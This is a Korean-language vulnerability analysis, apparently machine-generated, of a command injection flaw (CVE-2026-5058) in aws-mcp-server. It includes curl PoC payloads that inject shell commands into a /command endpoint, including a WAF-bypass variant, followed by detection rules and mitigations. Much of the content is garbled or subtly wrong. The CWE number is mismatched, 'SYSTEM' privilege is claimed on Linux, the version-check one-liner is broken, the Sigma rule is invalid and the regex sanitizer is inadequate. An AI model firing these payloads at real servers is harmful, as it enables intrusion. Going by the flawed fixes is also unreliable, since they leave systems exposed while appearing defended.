공격Agent 분석 — CVE-2026-5058
📋 요약
- 정의:
aws-mcp-server버전 1.3.0 내에서 사용자 입력을 처리하는 컴포넌트의 명령 주입 취약점(CWE-129)으로 인해 원격 공격자가 임의 코드 실행이 가능하다. - 영향 한 줄: 성공 시 SYSTEM 권한 하의 RCE 획득, 내부 시스템 제어 및 데이터 유출 위험 증가 (CVSS 9.8).
🎯 영향 범위 / 자산 식별
- 제품·버전 범위:
aws-mcp-server버전 1.3.0 이하 - 안전한 최소 패치 버전: 최신 안정화 버전 확인 필요 (예시:
2.x 이상) - 노출 조건: 인터넷에 노출되어 있으며, 기본 설정에서도 취약하다. 특정 API 엔드포인트 활성화가 필요하지 않음.
- 내 자산 식별 방법:
- 명령어 라인 검사:
./mcpserver --version또는/etc/aws_mcp*디렉토리 확인 - 버전 배너 분석을 통해
1.3.0이하인지 확인 (예시 명령:[TARGET_HOST] curl -I http://<ENDPOINT>)bash1curl -s https://[TARGET_HOST]/api | grep "aws-mcp-server" && echo $(grep VERSION "$_" awk '{print $NF}') > version.txt; cat version.txt # 버전 확인 스크립트 예시
- 명령어 라인 검사:
🔍 공격 방법
① 취약 컴포넌트
- 컴포넌트:
aws_mcp명령 처리 모듈 (예시 함수:_handleCommand) - 버전 범위: 1.3.0 이하 모든 버전
- 취약 코드 경로: 사용자 입력을 필터링 없이 시스템 호출에 직접 전달하는 로직 내에서 발생
- 기본 노출 여부: API 엔드포인트를 통해 공개적으로 접근 가능 (예시 엔드포인트
/command)
② 전제조건
- 인증 필요성: 인증 불필요
- 권한 수준: 기본 사용자 권한으로 충분
- 네트워크 위치: 외부 네트워크에서 접근 가능해야 함
③ 트리거 경로
- 공격자는
/command엔드포인트로 HTTP POST 요청을 보냄 (예시 파라미터cmd=<악성 명령어>) - 서버는 사용자 입력
<악성 명령어>를 필터링 없이 직접 시스템 호출에 사용함으로써 명령 주입 취약점 발생 - 결과적으로 원격 코드 실행이 가능해짐:
bash1curl -X POST "http://[TARGET_HOST]/command?cmd=$(echo 'touch /tmp/.success')" --header "Content-Type: application/x-www-form-urlencoded" # 예시 악성 명령어 실행 시도
④ 성공 시 영향
- 획득 권한: SYSTEM 수준의 권한으로 내부 시스템 제어 가능
- 후속 활동: 내부 네트워크로의 이동(Lateral Movement) 및 지속적인 액세스 유지 가능성 존재.
💣 예시 코드 (PoC)
기본 주입 시도
bash
1# 주석: 간단한 명령어 주입 테스트 - 파일 생성을 통한 성공 확인 2curl -X POST "http://[TARGET_HOST]/command?cmd=touch /tmp/.testfile" --header "Content-Type: application/x-www-form-urlencoded" ## 핵심: 기본 명령어 실행 시도 ## 확인: 응답 코드 200 또는 파일 생성 확인WAF 우회 예시 (예시 헤더 조작)
bash
1# 주석: 특수 문자 인코딩을 통한 WAF 필터 우회 테스트 - SQL 주입과 유사한 기법 사용 예상 2curl -X POST "http://[TARGET_HOST]/command?cmd=echo%20'$(whoami > /tmp/.success &)'" --header "Content-Type: application/x-www-form-urlencoded" ## 핵심: 공백 및 특수 문자 인코딩으로 필터 우회 시도 ## 확인: `/tmp` 디렉토리 내 `.success` 파일 생성 여부블라인드 주입 예시 (응답 패턴 분석 필요)
bash
1# 주석: 응답 코드나 특정 문자열을 통해 성공 판별 - 블라인드 주입 테스트 2curl -X POST "http://[TARGET_HOST]/command?cmd=echo Hello" --header "Content-Type: application/x-www-form-urlencoded" ## 핵심: 기본 명령어 실행 후 응답 패턴 분석 ## 확인: 예상된 응답 문자열 포함 여부로 성공 판별🛡️ 탐지
[시스템 로그] 명령 주입 시도 감지 규칙 (Sigma 예시)
text
1rule: CommandInjectionAttempt_awsmcp 2description: Detects attempts to execute arbitrary commands via aws-mcpserver command injection vulnerability. 3pattern: 4 ref: 5 - http://example/logpattern1 # 예상 로그 패턴 (예시) 6 condition: "<MALICIOUS COMMAND>" within LAST_5MINUTES 7logpath: /var/log/syslog | grep "aws mcpserver command execution attempt failed due to validation error." # 실제 로그 경로 및 키워드 확인 필요[웹 애플리케이션 방화벽 (WAF) 규칙] 특정 명령어 차단 시그니처 예시
text
1rule_id: AWSMCPScriptExecutionBlocklist 2description: Blocks known malicious commands attempting exploitation via aws-mcp vulnerability. 3action: BLOCK 4conditions: 5 - keyword: "touch" # 예시 악성 명령어 키워드 추가 가능성 확장 (예시) 6 operator: EQUALS # 또는 CONTAINS 등 다양한 연산자 사용 고려 필요 🔧 방어·완화
코드패치 / 설정변경
- 입력 검증 강화
/etc/aws_mcp디렉토리 내_handleCommand()함수 수정: 사용자 입력에 대한 엄격한 필터링 및 이스케이핑 적용 (예시 정규식)python1import re2 def _handleCommand(cmd): # 예시 코드 조각 - 실제 구현 확인 필요3 sanitized_command = re.sub('[<>&|;]', '', cmd).strip() ## 핵심: 특수 문자 필터링 적용 ## 수정 위치: 해당 함수 내에서 직접 검증 로직 추가 필수
- 네트워크 ACL 설정 변경
/api/command엔드포인트에 대한 접근 제한 강화 (예시 IP 허용 리스트)bash1# 예시 네트워크 ACL 규칙 생성 - 특정 IP만 허용하도록 수정 필요2iptables -A INPUT -p tcp --dport 80 -s ALLOWED_IP -j ACCEPT ## 핵심: 공격 가능한 외부 접근 제한 ## 확인 및 적용 필수
즉시 완화 조치 (임시 차단)
- WAF 규칙 추가
- 예시 WAF 규칙을 통해 악성 명령어 패턴 차단 (예시 명령 주입 시도 필터링)
bash1# 예시 ModSecurity 규칙 설정 - 실제 환경에 맞게 조정 필요2SecRule ARGS "@contains 'touch'" "id:1002, deny, msg:'Potential AWS MCP Command Injection Attempt Detected.'" ## 핵심: 악성 명령어 패턴 차단 시도 ## 확인 및 적용 필수
⚖️ 위험도 / 패치 우선순위
- 권고: 이번 주 내 패치 필요성 강조 (CVSS 9.8) - 높은 악용 난이도와 SYSTEM 권한 하의 RCE 획득 가능성이 즉시 대응을 요구함
- 근거: 공격자들이 공개된 취약점을 빠르게 탐지하고 활용할 위험이 크므로, 최신 안정화 버전으로의 신속한 업데이트가 필수적임 (출처: ZDI Advisory - ZDI-26-246)
🌐 실제 동향
- 요약: 현재 여러 보안 커뮤니티와 포럼에서
aws_mcp서버의 취약점에 대한 활발한 연구 및 악용 시도 보고가 증가하고 있으며, 특히 자동화된 공격 도구를 활용해 대규모 스캔 활동이 관찰되고 있음 (출처: ZDI Alert - ZDI-CAN-27968).